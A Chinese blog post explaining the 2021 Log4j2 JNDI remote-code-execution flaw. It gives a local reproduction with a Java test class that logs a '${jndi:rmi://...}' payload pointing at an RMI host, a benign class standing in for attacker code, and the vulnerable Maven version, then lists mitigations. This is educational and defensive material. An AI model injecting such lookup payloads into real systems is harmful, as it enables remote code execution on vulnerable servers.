2021年12月9日20:54,Log4j惊爆“核弹级”漏洞,该漏洞利用成本极低,可以直接任意代码执行,并接管目标服务器,其潜在危害严重性、影响面堪称今年之最。截至目前,Log4j2“核弹级”漏洞影响全球6万多个开源软件、30余万开源软件包,影响流行开源软件TOP10:Elasticsearch、SpringFramework、Druid、Spring Cloud Alibaba、Skywalking、Sentinel、MyBatis、HikariCP、Zipkin、MyBatis-Plus。该漏洞不排除其它利用方式,后续等待官方正式补丁。
漏洞复现
复现方式有两种:一种ldap,一种jndi;暂时通过jndi复现,感兴趣的小伙伴可以试试
测试类
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
/**
* @Description:
* @Author: wangdakai
* @Date: 2021/12/13
*/
public class Log4jBugTest {
private static final Logger LOGGER = LogManager.getLogger(Log4jBugTest.class);
public static void main(String[] args) {
// 加入前端给你传递的参数是jndi的,且此时你打印了他的参数。
String params = "${jndi:rmi://192.168.79.149:1099/bug}";
LOGGER.error("params:{}",params);
}
}
远程服务器,此处用自己本地ip就行,端口不要改。
package com.cn.zj;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
/**
* @Description:
* @Author: wangdakai
* @Date: 2021/12/13
*/
public class Log4jBugTest {
private static final Logger LOGGER = LogManager.getLogger(Log4jBugTest.class);
public static void main(String[] args) {
// 加入前端给你传递的参数是jndi的,且此时你打印了他的参数。
String params = "${jndi:rmi://192.168.79.149:1099/bug}";
LOGGER.error("params:{}",params);
}
}
执行共计这代码
package com.cn.zj;
/**
* @Description:
* @Author: wangdakai
* @Date: 2021/12/13
*/
public class Bug {
static {
System.out.println("执行攻击者的代码");
}
}
maven依赖
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.14.1</version>
</dependency>
执行可以发现,Bug中的代码居然可以再在我们Log4jBugTest控制台说出,也就是说如果我们代码报错且打印参数的情况下,将会被攻击。
解决方案
- 升级jar包,暂时log4j-2.15.0-rc2最新版本比较稳定。但是之前说log4j-2.15.0-rc1稳定,不是还是可以被绕过,建议等等在换,使用临时方案,等log4j稳定后再进行处理。
https://github.com/apache/log... - 设置参数
①设置参数:
log4j2.formatMsgNoLookups=True
②修改JVM参数:
-Dlog4j2.formatMsgNoLookups=true
③系统环境变量:
FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS设置为true - 网络管理,禁止服务器外联
**粗体** _斜体_ [链接](http://example.com) `代码` - 列表 > 引用
。你还可以使用@
来通知其他用户。